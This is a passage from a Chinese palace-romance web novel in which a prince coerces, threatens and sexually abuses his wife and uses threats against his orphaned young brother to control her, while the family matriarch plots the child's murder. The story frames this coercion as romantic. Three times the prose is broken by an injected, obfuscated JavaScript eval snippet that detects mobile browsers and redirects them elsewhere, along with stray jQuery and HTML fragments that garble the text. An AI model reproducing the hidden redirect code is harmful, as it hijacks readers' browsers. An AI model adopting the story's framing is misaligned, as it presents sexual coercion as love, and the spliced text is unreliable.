西厢院的门开启又关上,小八小九守在两旁,对外说是王爷禁了王妃的足。
婉儿去去又回,低声道:“王妃,刚刘妈过来,被小九和小八拦住了,刘妈搬出老夫人来,说是有旁的事要同王妃讲,今日必须见到王妃,小八没允,刘妈气的脸都绿了。”
她递上安神的汤药,“奴婢猜测,老夫人定是知晓了方才的事,要责罚王妃,幸亏王爷先一步把王妃带离,还留下小八小九守门。”
“看来,王爷心里是真有王妃的。”
有没有姜芙不知,害怕倒是真的,刚刚薛慎的样子让她心悸难捱,她真的好想快些离开。
握着汤碗的手指在颤抖,她道:“让你当的那些首饰可有当掉?”
婉儿点头,“奴婢已全部当完。”
“银钱可又清点过?”
“也已清点完毕。”
“过几日你寻个由头出去,到马市上看看,马屁好马。”有些事情姜芙记不住便写在了纸上,“你把我记得那些都拿来。”
婉儿去柜子找,从书中翻出,折返,“王妃。”
姜芙把喝了一半的安神汤放下,接过,打开,一一查看,最后问道:“四弟那的月银可有送过去?炭火可够?”
睿王府老四,薛臻,妾室苏氏之子,年方六岁,老睿王在世时最是宠爱这个孩子,老睿王先逝后,苏氏便也跟着去了,自此孩子成了没爹没娘的孤儿。
宋氏受欺压多年,一朝翻身,把所有的怨气都发泄在了稚子上,平日里缺衣少食,是常事。
月银也从不按时发放,想起来给些,想不起来便干脆不给,或者不是想不起,只是装作想不起。
姜芙自嫁入睿王府后,便偷偷接济,但凡能给的,都会送过去。
苏姨娘待她不薄,她要替苏姨娘照顾好薛臻。
“送了。”婉儿道,“月初便送了,王妃放心,四公子很好,几日不见,个子也长高了,四公子还要奴婢代他向王妃问安呢。”
薛慎安好,姜芙便放心了。
“只是,若真有一日王妃离开,四公子怕是会难过。”婉儿抿唇道。
姜芙也早已想到了这些,“银钱不全带走,留下一半交给四弟。”
“四公子还是稚子,哪里管的了那么多银钱,若是被贼人骗了去可怎么办?”
“他不能一直依托我,也要学着自己打理。”姜芙道,“世道吃人,若是连点银钱都管不好,如何生存?”
……
姜芙所言不虚,偌大的堰都看着繁华鼎盛,暗夜里那些腌臜的勾当却从未停止过。
每日都会有人死去,悄无声息,让人寻都寻不到。
薛慎盯着湍流的河水,下颌紧绷,神情凛然,小八道:“主子,人是在这里跳下去的。”
“属下命人在下游寻了,没找到。”
“没找到说明还活着,继续找。”薛慎道。
小八抱拳作揖,“是。”
小九道:“我瞧着这人的身形,同那日在树林中的并非一人,是不是咱们寻错了?”
薛慎眼眸微眯,定定道:“宁可错杀,不许放过。”
小九:“遵命。”
小九不敢问薛慎,悄声问小八,“这人当真同夫人有干系吗?”
小八回头看了眼矗立在河边的肃冷身影,提醒,“你在主子面前可别乱讲,小心掉脑袋。”
“我这不就是问问你吗。”小九刮了下鼻尖,“我看着夫人那般柔弱,不像是会同这种人扯上关系,咱别弄错了,那可就坏了。”
“坏不坏,主子自会看着办。”小八撞他,“你只要记住把自己的事情做好就行。”
见小八要走,小九大步跟上,嘀咕,“做好就做好呗,用得着你说教。”
小八回头,发现薛慎还站在原地,眼睛凝视着远方不知在想什么。
-
无星无月的夜晚,乱的可不止一处。
宋氏没等来姜芙气的把碗都摔了,沉声道:“刘妈你是怎么做事的?”
刘妈跪地,“夫人不是老奴没尽心去办,实在是因为王爷让人早早守在了那里,还说,若是老奴硬闯杀无赦。”
“老奴哪里还敢呀。”
“阿慎到底护那个狐狸精到几时!”宋氏气的肺都要炸了,“不过是一个商贾之女,死了另娶便是。”
“王爷不会真对她动心了吧?”刘妈道,“若真那样,事情可就难办了。”
“不能。”宋氏道,“我的孩子不会做如此糊涂的事。”
刘妈想想也对,“王爷明知老夫人不喜王妃,断然不会喜欢她。”
“王爷还是很听老夫人话的。”
“南院那边最近有什么动静?”宋氏问道。
刘妈站起身,递上茶盏,“老奴已命人日日看着四公子,寻个合适的由头下手,老夫人放心,上次没把他给除了,下次,下次一定把他给……”
两人对视一眼,宋氏低头慢饮一口茶水,“记住,要做的人不知鬼不觉。”
“老奴记下了。”刘妈道,“定然人不知鬼不觉,让他悄无声息离开。”
高门大院的腌臜声一茬接一茬。
东院里吵闹声不断,刘氏气的都要吐血了,“你竟然在外面养了野女人,老娘给你拼了。”
说着她扑了上去。
老大薛崇一般推开她,“哪个男人不是三妻四妾的,你如此撒泼,明儿我便休了你。”
“行啊,你休你休,”刘氏哭的泣不成声,“你前脚休我,后脚我便吊死在大门外,我倒要让大家看看,你薛崇是怎么逼死发妻的,你想娶小,做梦!”
“你真是不可理喻!”
“我不可理喻,你怎么不说你在外面养小。”
刘氏何时受过这般的屈辱,再次哭着扑上来,两人打成一团。
东西砸了一地,最后她也没落着好,哭死过去。
姜芙知晓这件事时是次日早膳后,她没去请安,一直在房里呆着,小八还守在大门外。
婉儿给他送吃的,他也不要,一本正经道:“不饿。”
婉儿淡扫了他一眼,爱吃不吃,把东西拿出来,气呼呼道:“王妃以后不要让奴婢去讨嫌了。”
姜芙:“怎么了?”
“还不是那个小八……”婉儿抿抿唇,“还不是小八护卫,看着真凶。”
姜芙淡笑:“凶吗?我觉得还好。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15201003|165705||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
婉儿刚要反驳,脚步声传来,春喜端着铜盆进屋,“王妃,东院昨儿夜里打起来了。”
“嗯?为何?”
“好像是大爷在外养了小,大夫人知道了,不依不饶,最后被大爷打了。”春喜道,“大爷还要休妻呢。”
“你都从哪听来的?”
“奴婢刚刚去领炭火从东院石头嘴里听到的。”
婉儿啧啧道:“大夫人整日作威作福,这下看她还如何闹。”
“二夫人也去了,王妃要去吗?”春喜问道。
姜芙摇头,“不了。”
薛慎要她别出院子,那她便不出,人不出去,老夫人那总寻不到错处。
“我身子不适,哪里也不去。”姜芙道,“晚点请郎中过来。”
郎中过来,姜芙没用上,倒让其他人用上了。
南院下人匆匆来报,四公子落水了,人昏迷不醒,怕是不行了。
姜芙顾不得薛慎的警告,氅衣都没穿跑出了门。
今日天气不好,下着血,积雪很厚,深一脚浅一脚,姜芙好几次摔倒又爬起。
她问道:“为何会落水?”
婢女哭哭啼啼,“四公子要去摘梅,奴婢要帮他,他不让,非要自己摘,奴婢回房给他拿氅衣,谁知折返时,他已经掉进了湖里,奴婢也不知他为何会掉进去。”
小丫鬟哭的泣不成声,姜芙眉头紧锁,对身侧的郎中说道:“劳烦王大夫先行一步,我马上便到。”
王大夫点头,“好。”
救人如救火,幸亏王大夫及时赶到,把人从鬼门关抢了回来,看薛臻睁开眼,姜芙提着的心才放下。
仰头无声道:苏姨,我把阿臻救回来了,您安心吧。
人救回来是好事,但姜芙不知等待她的是祸事。
身上的衣衫都湿了,她抖着身子折回西院,刚进门,便被薛慎扣住手腕扯进了房间里,一把扔在了床榻上。
人也跟着欺上来。
他用手箍紧她腰肢,让她动弹不得,姜芙吃痛,蹙眉道:“王爷,这是作何?”
“你从哪来?”薛慎先问道。
“南、南院。”姜芙解释,“阿臻落水了,妾身去……”
“阿臻?”薛慎轻笑,“叫的如此亲密,姜芙,你到底想作何?”
“你不知何为男女有别吗!”
言罢,他攫住了她下颌。
姜芙当然知晓男女有别,可刚刚事发突然,加之,她一直把薛臻当弟弟看,便也未曾顾及那么多。
“妾身只把阿臻当弟弟看。”
“阿臻阿臻阿臻……”薛慎问,“我竟不知你何时同他如此亲厚了。”
他在质疑她的忠贞。
姜芙旁的都可以忍,但这不能忍,“王爷是在怀疑妾身吗?”
“我不该怀疑吗?”薛慎道,“你当着众人的面同他拉拉扯扯,真当我死了不成。”
“可他只是个孩子呀。”姜芙红着眸子道。
“可他也是个男子,再过几年便可以娶妻!”薛慎箍紧她,几乎要揉碎,“姜芙,你为何屡屡试探我的底线?”
姜芙辩解,“不是妾身试探,是王爷乱想,那可是王爷的弟弟,虽不是一母同胞,但到底还是血亲,王爷就不能对四弟好些吗?”
血亲……
薛慎道:“不能。”
10. 第十章 折辱
那日后,薛慎外出办案,姜芙在房中静养。
一晃又过了十日,十日里王府接连发生了一些事。
刘氏母家那边得知她受了委屈,当日便找上门来要说法,宋氏又是赔笑脸,又是安抚,答应一定要给他们个说法才把人安抚好。
夜里,薛崇兴冲冲跑进主院同宋氏大吵了一架,问她为何把香菊藏起来。
宋氏怒其不争,狠戾道:“你若是想让香菊活命,最好安生些。”
“母亲心性如此跋扈,怪不得父亲不喜。”薛崇道。
宋氏闻言怒从中来,这本就是插在她胸口的刺,如今被薛崇拿来诟病,气到不打一处,抬手便给了他一巴掌,扬言,“你若是不跟香菊断了,明日你就给她收尸吧。”
母亲手段薛崇是知晓的,除了苏氏外多少姨娘都未曾活命,当即软下来跪地求饶,“求母亲放过香菊。”
宋氏多看他一眼都烦,命人把薛崇赶了出去,还勒令他不许出府。
薛崇受了委屈,回去后又同刘氏大吵一架,刘氏也不是吃素的,他吵,她也吵。
东院险些要震翻天。
刘妈问道:“老夫人,这?”
宋氏抬手扶额,“让他们去闹。”
闹归闹,宋氏派刘妈去看,万一真发生什么,记得及时制止。
好在薛崇绣花枕头,脾气大,胆子小,不敢真的忤逆宋氏,后半夜吵闹声停止便睡了过去。
北院那边今夜也不得安生。
老二薛楷输了钱,回来拿钱,被周氏发现,当即吵起来,周氏动了胎气,郎中赶到后进进出出好多次。
折腾了一夜,好在最后孩子保住了。
宋氏看着不争气的薛楷,气的脸都黑了,不但动了家法,还罚他去贵祠堂。
吵吵闹闹天明才消停。
这夜姜芙睡得也不好,一直在做梦。
最初梦境是她同薛慎花前月下,少年满腹经纶,为她写诗作画,言语中皆是爱意。
她看他,也含情脉脉,情谊浓浓。
场景突变,转瞬,是她接到书信离去,少年策马而来,留下一枚玉佩,他说:“我等你。”
“千年万年都等。”
后面再见,他们已形同陌路,她唤他慎哥哥,被他锁住喉咙训斥。
他道:“谁是你的慎哥哥,你的慎哥哥早死了。”
她挣扎,痛哭,“慎哥哥你到底怎么了?”
“我怎么?你不知道吗?”男子眸中没有一丝温度,看她的眼神犀利嗜血,“姜芙,我恨你。”
后面婚礼,他全程含笑,所有人都以为他们郎才女貌天作之合。
没人知道,房间里,他一把扯掉她身上的嫁衣,说她不配。
梦境最后,薛慎把她抵在榻上,耳鬓厮磨,“想逃,做梦。”
“即便是下地狱本王也会拉着你。”
“本王的好王妃。”
姜芙惊醒,还未来得及喘息,便被一道突兀的声音吓破了胆。
“阿芙刚刚在唤谁?”
“好亲厚。”
“难道是在唤意中人的名讳?”
姜芙借着微弱的烛光同薛慎眼神对视上,本就紊乱的心跳越发乱起来,她咽了咽口水,颤颤巍巍道:“王爷何时回来的?”
“怎么?阿芙不想本王回来?”薛慎倾着身子欺上来,垂眸凝视,“数日不见,本王还以为阿芙也同本王一惦念,看来,是本王妄想了。”
十日未见,再见却是这般言语试探,任谁都会不喜。
但姜芙掩饰的很好,软声道:“妾身也一直惦念着王爷。”
“惦念本王,所以梦中喊其他男子的名字?”薛慎道,“阿芙的惦念好特别。”
姜芙不确定自己喊没喊,但眼下她不会承认,“呓语罢了,王爷不必当真。”
“或许,是王爷听错了。”
“听没听错,问问不就知道了。”薛慎手指触上她胸口。
姜芙后退,“王爷这是作何?”
薛慎不许她躲,箍着她腰肢道:“本王好奇阿芙这个地方到底装着谁?”
胸口被他那样杵着,姜芙连呼吸都不会了,轻喘道:“妾身心里只有王爷,再无其他人。”
“哦,是吗?”薛慎含笑道,“既然如此,本王要你做何你便都会做了?”
姜芙:“是。”
“来,亲我。”薛慎修长分明的手指移到她后颈,用力捏紧,不容置喙道。
他们在一起,向来都是薛慎主动,姜芙甚至连亲人都不会。
她犹豫不前,薛慎不悦,再次沉声道:“亲我。”
姜芙怕他,不敢忤逆他,只能硬着头皮上,抿抿唇,纤细玉手手攀着他肩膀吻了上去。
唇对唇,虚虚贴在一起。
“不够。”他又说。
姜芙忍着羞赧,加重了唇上的力道,在她眼里这便是亲吻了,可薛慎还是不满意。
“张嘴。”他捏了把她的细腰。
姜芙吃痛,张开了嘴,丁香小舌若隐若现。
“把舌头伸过来。”薛慎今夜格外有耐性一一教导。
姜芙从未试过伸舌头,真的不敢,摇头,“妾身——”
“伸过来。”
“……”
她乖乖把舌头伸了过去,隐隐碰触上了他的唇瓣,吓得要缩回,被他含住。
他很用力地吮吸了她一下,松开,“照方才的样子咬我。”
姜芙被他闹的一点力气都没了,无助摇头,薛慎不给她说不的机会,揉着她腰肢,“你若是想四弟安好的话,最好是按照我说的做。”
他拿她最在意的人威胁她,姜芙挣扎片刻后,妥协。
笨拙的吮上他,可能是太慌乱,没控制好力道,她听到他轻嘶了一声。
下意识想逃,再次被他攫住。
薛慎吻着她,舌尖探到了最深处,姜芙以为这已经可以了,谁知后面还有更过分的。
他箍紧她腰肢,要她坐上去。
姜芙看着他修长的腿,抿抿唇,“王爷,求你放过妾身,妾身……”
“真聒噪。”薛慎把她提起,在惊呼声中把她放到了腿上,“伺候好了本王,谁都会相安无事,若不然……”
他没讲完,但姜芙知晓,若不然,谁都要死。
她不敢赌,虽觉难堪,但也只能忍着心悸照做。
先是亲亲他唇,然后又去亲他的脸颊,下颌,察觉到他神色紧绷后,她又去亲他侧颈。
在侧颈处逗留片刻,又去亲他的喉结。<
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15201004|165705||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>不知是不是不太舒服,薛慎微眯的眼眸倏然睁开,看她的眼神仿若要吃了她。
姜芙也苦恼呀,是他要她亲的,可她亲完,他又不乐意了。
为何要如此为难她呢?
她攀着他肩膀如是想,没注意到身前男人渐渐涌起的变化,已经恨不得把她撕碎的异样感。
半晌后,姜芙委屈道:“王爷,妾身真不会。”
亲了这般久他都没任何反应,肯定是她做的不够好,可她实在不知该如何做才能取悦他,才能不让他去杀人。
她怕极了,欲从他身上下来,跪地求饶。
她跪,不单是为自己,更是为了那些她在意的人。
她不能让他们有丝毫闪失。
臀刚抬起,又被薛慎箍着腰肢摁了回去,“谁许你动的?”
他沉声问。
姜芙不敢看他,低着头,“都是妾身不好,妾身的错。”
不知为何,十日不见,再见,她似乎更怕他了。
可能是他不怒而威,也可能是他身上浓郁的血腥气,更或许是他冷冽的眼神。
总之,她害怕极了。
氤氲着眸子求他,“王爷,妾身疼。”
她疼?
他还疼呢。
薛慎捏住她的下颌挑起,“哪里疼,让本王看看。”
言罢,他去撕扯她的亵衣,姜芙伸手护住,“不要。”
“姜芙。”薛慎道,“别考验本王的耐性。”
薛慎对旁人兴许还有几分耐性,但对姜芙完全没有,话音落下的同时,他把她扔到了床榻上。
梦境重现,姜芙被他死死压住,动弹不得。
她红着眸子求饶,“慎哥哥。”
薛慎不为所动,指腹用力蹂躏她粉嫩的唇瓣,须臾手指在她口中兴风作浪。
姜芙作呕,薛慎抵着她耳畔道:“听闻四弟身子还是不见好,你说若是把他送出去,他会怎么样?”
无依无靠,会死。
姜芙抓住他的手,“不可。”
“可不可本王说了算。”薛慎道,“来,取悦本王,本王高兴了,自然会放过他。”
姜芙软肋不多,薛臻是其中之一,她眼底沁着雾气,道:“王爷非要折辱我才开心吗?”
薛慎:“是。”
他张嘴含住她耳垂,不顾她挣扎狠狠咬上,直到咬出血才松开。
“本王就是要折辱你,你要作何?嗯?”
姜芙气极,不管不顾抬手给了他一巴掌。
“啪。”清脆的巴掌声在房内散开。
被拦在门外的婉儿等众人大气不敢出。
姜芙也被自己的举动惊到了,还未做出反应,已经被薛慎扯掉了亵衣,然后是肚兜。
她伸手去拦,根本拦不住。
薛慎攫住她下颌,“你敢打本王。”
姜芙战栗道:“是王爷先羞辱妾身的。”
“我便是羞辱你又如何。”薛慎咬上她侧颈,直到咬出血才停下。
姜芙缩成一团,躲在被子里泣不成声。薛慎凝视着,不知想起了什么,方才还愠怒的神色渐渐变缓。
大手一挥,连人带被子一起抱怀里,轻抚她侧颈的血痕,低声道:
“好了,别哭了。”
11. 第十一章疯魔
第11章
他难得语气温柔,姜芙只觉得愈发委屈,抽泣声连绵不断,她拿出藏在枕头下的簪子递给他,“既然这么恨我,干脆杀了我。”
握着簪子的手指隐隐在颤抖,虽极力克制,但还是能一眼看出她的害怕。
薛慎眸光从她脸上落到她手中的簪子上,没记错的话,这是很久前他送她的那支。
花前月下,他说一定会娶她。
他一直以为簪子不见了,却没料想还在,旧时记忆被勾起,薛慎攫住她的下颌,堵上她的唇厮磨,退开后,什么也没说,转身离去。
婉儿等人冲了进来,围着姜芙问道:“王妃您可安好?”
姜芙一点都不好,胆战心惊,全身颤抖不已,“他呢?”
“王爷已经离开了。”婉儿掰开姜芙的手指,拿过她手中的金簪,心有余悸道,“方才吓死奴婢了。”
“真怕王妃伤到自己。”
姜芙算是破釜沉舟,虽也怕但只能忍着,好在结果是好的,她接过婉儿端来的安神茶,一口饮尽,叮嘱道:“我冷,把门关好。”
丫鬟们不敢怠慢,匆匆去关门关窗。
可姜芙还是觉得冷,婉儿拿过手炉,“王妃快抱着。”
姜芙抱在怀里依然不管用,婉儿见状吩咐道:“把炭火烧旺些,快。”
直到火苗燃起,姜芙才好了些许,躺下后一直没再睡着,就这样眼睁睁呆了天明。
天边亮起,她才感觉又活了一般。
可她的样子还是不好,脸色苍白憔悴比纸还白,婉儿有些担心,“王妃,要不要请郎中来?”
姜芙摇头,“不必,给我梳洗,我要去给母亲请安。”
“王爷说王妃可以不用去老夫人院子的。”婉儿拦住她,“万一老夫人刁难,奴婢怕……”
姜芙起身坐的铜镜前,“老夫人是当家主母,总不能一直避着不见,还是要按时请安的才对。”
姜芙性子软,做不来刘氏和周氏的不管不顾,不好再不去,早膳都没用便去了宋氏院中。
人还走近,便听到里面传来啼哭声。
周氏哭的泣不成声,“母亲,求您一定要为儿媳做主。”
宋氏道:“跪着做何,快起来,刘妈把人扶起来。”
周氏不起,“母亲要是不帮儿媳,儿媳真的没法活了。”
“那么多银钱,我上哪里给你找。”宋氏为难道,“你得容我想想办法。”
外面传来声音:“王妃来了。”
周氏眼前一亮,“母亲,三弟妹娘家富足,她手里肯定有余钱,求母亲帮着向三弟妹要些,等把难过度了,我们日后一定归还。”
借给赌徒钱,等同于羊入虎口,还钱?他们拿什么还?
姜芙也正好听到周氏的话,在门前驻足片刻才掀帘走了进去,屈膝作揖道:“母亲。”
宋氏淡声道:“坐吧。”
周氏噙笑说:“川儿要醒了,儿媳先去照看。”
离开前她对姜芙说道:“三弟妹这身衣裙真好看。”
姜芙莞尔一笑,“谢谢二嫂。”
周氏离去,宋氏又挥手让其他人下去,房里就只剩她俩,宋氏道:“看你脸色不大好,生病了?”
“昨儿夜里染了风寒,不碍事,吃过药了。”姜芙回。
“生病可是大事,不行找郎中看看,”宋氏睨着她,“耽误了身子是小,耽误了子嗣事情可就大了。”
说来说去,还是子嗣更重要。
可姜芙一人哪里生的出孩子,这事若说要怪只能怪薛慎,是他不许她生的。
“儿媳知晓。”姜芙乖巧道。
“对了,近日有算命先生讲,我房里需要供奉玉如意才能祥和。”她转着手中佛珠,淡声道,“我知你最孝顺,回头让你房里人去城东铺子买一对回来。”
“我好日日为你和慎儿祈福,祈祷你们能早日诞下孩子。”
之前宋氏这般讲,姜芙都会一口答应,如今她要为离府做打算,用钱的地方很多,能节省些还是要节省些。
不过她也没一口回绝,而是略施小计,“城东哪家铺子,儿媳房里人眼拙,不如让刘妈去买,银钱的话可以从账房里支取,若是不方便,先用王爷的俸禄去买也行,儿媳都听母亲的。”
薛慎的俸禄一直也是归宋氏保管,姜芙成亲三年从未见过,一直以来她也不太计较在和谐,总觉得一家人不用分的那般清。
可三年的诸多事告诉她,该分还是要分。
“何意?”宋氏道,“你要我自己买来给自己?”
“儿媳不是那个意思。”姜芙道,“母亲可用王爷的俸禄去买,算起来也是王爷送的。”
“……”
宋氏本想捞一笔,给老二家填窟窿,谁承想一分没捞到。
“姜芙,你何时变得这般市侩了?”宋氏厉声道。
“母亲这话是何意?”姜芙佯装诧异道,“儿媳可都是为了母亲好。”
“你少来,”宋氏也不藏着掖着了,直接开口道,“你那些嫁妆放着也是放着,买对玉如意给我,为何不行?”
姜芙:“母亲都说了那是儿媳的嫁妆,儿媳的嫁妆母亲要动,会被人诟病的,儿媳是为了母亲声誉着想。”
“儿媳都是为母亲好。”
她长得娇弱,说话三分软七分柔,落在耳畔让人不忍苛责。
宋氏见她话里话外就是不肯出钱,懒得再同她废话一句,挥挥手,“我累了,你回吧。”
姜芙作揖后离开。
刘妈见状道:“老夫人,看来王妃不想拿银钱,您说要如何?”
宋氏:“编派个理由去取,找她的不是,我就不信她敢不拿。”
刘妈最喜做这些见不得人的勾当,点点头,“老夫人放心,老奴一定把事情办好。”
姜芙知晓宋氏不会善罢甘休,叮嘱婉儿离主院那些人远远的,越远越好。
婉儿领了命令,一直守规矩做着,可那天还是出了事。
薛臻病好后一直想感谢姜芙,特意命厨房做了吃的,亲自送过来。
姜芙见他衣衫都破了,便留下他,给他缝补,闲谈间二人提起了苏氏,薛臻感激姜芙的恩情,言辞绰绰道:“嫂嫂放心,我一定努力读书,将来好好报答嫂嫂。”
姜芙并不需要他的报答,淡笑道:“读书要紧,但也别累着。”
她拿出新做的衣衫让他穿上,婉儿见状上前帮忙,淡笑道:“王妃手艺真好,四公子穿着好合身。”
薛臻许久未曾穿
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15201005|165705||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过新衣了,到底还是孩子,不会掩饰喜怒,笑着说:“嫂嫂真好。”
婉儿道:“王妃一直把四公子当做亲弟弟,四公子以后也要记得对王妃好。”
薛臻:“那是自然。”
两人在厅中用完午膳,薛臻才离去。
暗处的刘妈见状便有了主意,对着春梅耳语一番。
姜芙正在小憩时感觉到有人在看她,倏然睁开了眸,薛慎阴沉着脸道:“王妃还睡得着?”
姜芙起身,理了理裙子,屈膝作揖,“给王爷请安。”
薛慎一把攫住她的手,“本王说的话你说一句也不听,是不是?!”
姜芙不知他为何火气这般大,问道:“妾身做了什么,惹得王爷如此发怒?”
“这是你给薛臻的吧?”薛慎扔她怀里一物。
是帕子。
姜芙捡起,摇头,“不是。”
“不是的话它为何在薛臻的住处?”薛慎把她扯到身前,“姜芙我对你还不好吗?为何你几次三番做我不喜的事?为何!”
薛慎这次是真的失了理智,“你难道非要为了旁人惹怒我才甘心?”
姜芙当然不是,她惨白着脸辩解,“手帕不是妾身送的,妾身想里面一定有什么误会。”
“王爷你先松手。”
“……啊,疼。”
薛慎把她扔到榻上,随即压了上来,“看来都是我对你太好,才会让你一再挑衅。”
他撕扯她。
姜芙反抗,双手挡在身前,被他扣住举高过头顶,单手握着。
手没办法,她只能用脚,拼劲全力踢。
薛慎是男子,又长期习武,她的踢打起不到任何作用,很轻松地便压在了腿下。
手脚都不能动弹,姜芙成了案板上的鱼,任他宰割。
她以为他会杀她,他没有,而是用近乎疯狂的语气说:“以前都怪我对不太好了。”
“今日我不会再客气。”
“更不会再忍。”
“姜芙,是你招惹的我。”
知道战栗感下来,姜芙才体会出他说的不再忍是什么意思。
他故意开着门和窗,让所有人来看她被欺负。
婉儿要关,被他大声呵斥住。
“不想死,都给本王滚!”
眨眼间,廊下院子里一个人都没有。
今日风很大,落在身上冻彻心扉,姜芙战栗了许久,哽噎要他住手。
薛慎指腹落下来,揉捏最为细腻的地方,很快映出红痕,她泣不成声。
他去咬她的唇,咬她的侧颈,咬她的肩头,很用力的厮磨。
姜芙求饶,“别。”
他不接受任何拒绝,“别什么?”
他掐着她腰肢磨砺完,去碰触她其他的地方,惹得她战栗后,掐上她脚踝,一点一点把她扯近。
扯到方便他行事的距离。
没急着做什么,而是用粗粝的手指去碾压,像是品鉴奇珍异宝。
唇舌也加入其中。
听到她倒抽气声,他才退开,抬眸。
“你最近一直让婉儿悄悄去马市,是想买马吗?”
“做什么?想离开?”
他逼近,“姜芙,你以为你能离开?”
12.第十二章惊慌
第12章
姜芙噙着泪摇头,“妾身没有。”
“姜芙,你应该知晓本王最不喜被人诓骗。”薛慎慢声道,“惹怒本王什么后果你是知晓的。”
他手轻轻抚上她脖颈,指腹慢慢磨砺,“不知要是掐断了会是什么样。”
“……”她会死。
姜芙颤抖的越发厉害了,“你你到底要如何?”
“你说本王应该如何做才好呢?”他轻抚她,“是掐断这美丽的脖颈,还是打断这两条美腿。”
一个逼近,他抵着她道:“还是说,做到让你下不来榻?嗯?”
悠然一声“嗯”吓得姜芙胆子都破了,脸色煞白,看薛慎的眼神如看魔鬼。
她怕他,也恨他,也爱他。
“慎哥哥……”她企图用往日的称呼唤回他的片刻怜悯。
薛慎端详着她,眼神似乎把她凌虐了一一万次,最后他轻笑出声:“干嘛抖,慎哥哥只是在同你开玩笑。”
这个玩笑实在不好笑,姜芙笑比哭还难看,示弱道:“以后不要吓阿芙了好不好?”
“阿芙怕。”
“慎哥哥的错。”薛慎慢哄,“不过阿芙以后也不要吓慎哥哥才对。”
他低头咬上她唇瓣,慢慢厮磨,“慎哥哥也会怕。”
姜芙战栗着点点头,怕他再问什么,她主动勾上他脖子,加深了亲吻。
许是她主动的原因,薛慎的欲望很容易被勾起,带着厚茧的手指在她身上兴风作浪。
恨不得把她撕碎扯碎。
他每次…都闹得这么凶。
姜芙想退,但无路可退,只能受着。
情爱…真的太磨人了,倘若可以,她希望一辈子都不要尝试。
薛慎不喜欢她不专心,扳过她的脸,让她看他,“盯着我。”
在她的注视中,他疯狂了一次又一次。
姜芙几乎要被他吓死,成亲三载,这还是她第一次如此清晰的看到他的身体。
她真的好担心自己被他撑破。
好在,最后她还活着。
……
婉儿进来,扶着姜芙去沐浴,满眼心疼,想说什么最终也没说出口。
姜芙倚着浴桶问:“江公子可有派人来过?”
“来过。”婉儿道,“日日来。”
“我让你传的话呢?”
“告知给他了。”婉儿道,“但江公子就是不离去,他还说——”
“说什么?”
“说一定会等王妃。”
婉儿也觉得这个江公子好奇怪,她家王妃都自身难保了,哪还有心力去管旁的。
可他似乎听不懂,反复让她带话,要王妃随他走。
“罢了,随他吧。”姜芙府门都出不去,还谈什么走。
婉儿规劝,“王妃也不是医者,便是真不去看表小姐,表小姐也不会怎么样,奴婢想,表小姐的家人会照顾好她的,王妃还是多担心自个吧。”
“王爷性子不定,奴婢怕……”
婉儿说着说着红了眼眶,吸吸鼻子,“都是奴婢护不住王妃,是奴婢的错。”
“与你无关。”姜芙道,“是我的错,若是我没执意嫁入王府,也不会如今日这般窘状。”
归根结底都是她的错,是她痴心妄想,以为薛慎还同往昔那般,实则,他早变了。
……
另一处,江宸依然没等到姜芙的回音,侍从说道:“公子,咱们出来的日子不短了,老夫人一直催着您回去,您看……”
江宸抬眸望向紧闭的红色大门,同门口老头雄狮隔隔相望,“你说她为何就是不肯离去?”
“姜姑娘是睿王妃,哪能轻易离开堰都。”阿六道,“便是她想,薛慎也不会同意。”
“我可以助她,为何她不信我?”
“公子同姜姑娘也只是短短数面之缘,姜芙娘不信,也是情理之中。”
“若我执意要带她走呢?”江宸面色阴戾道,“你觉得薛慎会如何?”
“薛慎一直在找寻公子,公子万不能在这个时候现身。”阿六跪地,“求公子同属下一起回离城。”
江宸握着折扇的手指倏然攥紧,露出手背上鼓动的青筋。
薛慎薛慎……
我江宸同你不死不休!
……
奔城外疾驰的马车内,小九道:“主子,让我跟小八去就好,这事您不用亲力亲为。”
薛慎端着茶盏慢饮一口,“你们去,还像上次那样让人跑掉?”
小九:“……”
“那是意外,这次不会。”小九道,“主子也别总是揪着这个不放嘛。”
小九跟在薛慎身边多年,已经没大没小惯了,没外人在时说话也不会顾忌。
“合着你还有理了?”
“属下不敢。”
“不敢就滚出去!省得碍眼。”薛慎道。
小九麻溜滚了,和小八一起驾车。
小八白了他一眼,轻嗤,“又被主子训了?活该。”
“诶,你怎么说话呢,”小八问,“看我被训你很开心是不是?”
“是,非常开心。”小八怼人道。
“宋廷,你别太过分。”小八本名宋廷,熟悉他的人都称呼他八护卫。
“我就是过分了,你又能拿我怎么样?”小八挥了下马鞭加快了速度。
小九没注意被颠了下,气不过时推门要同薛慎告状,
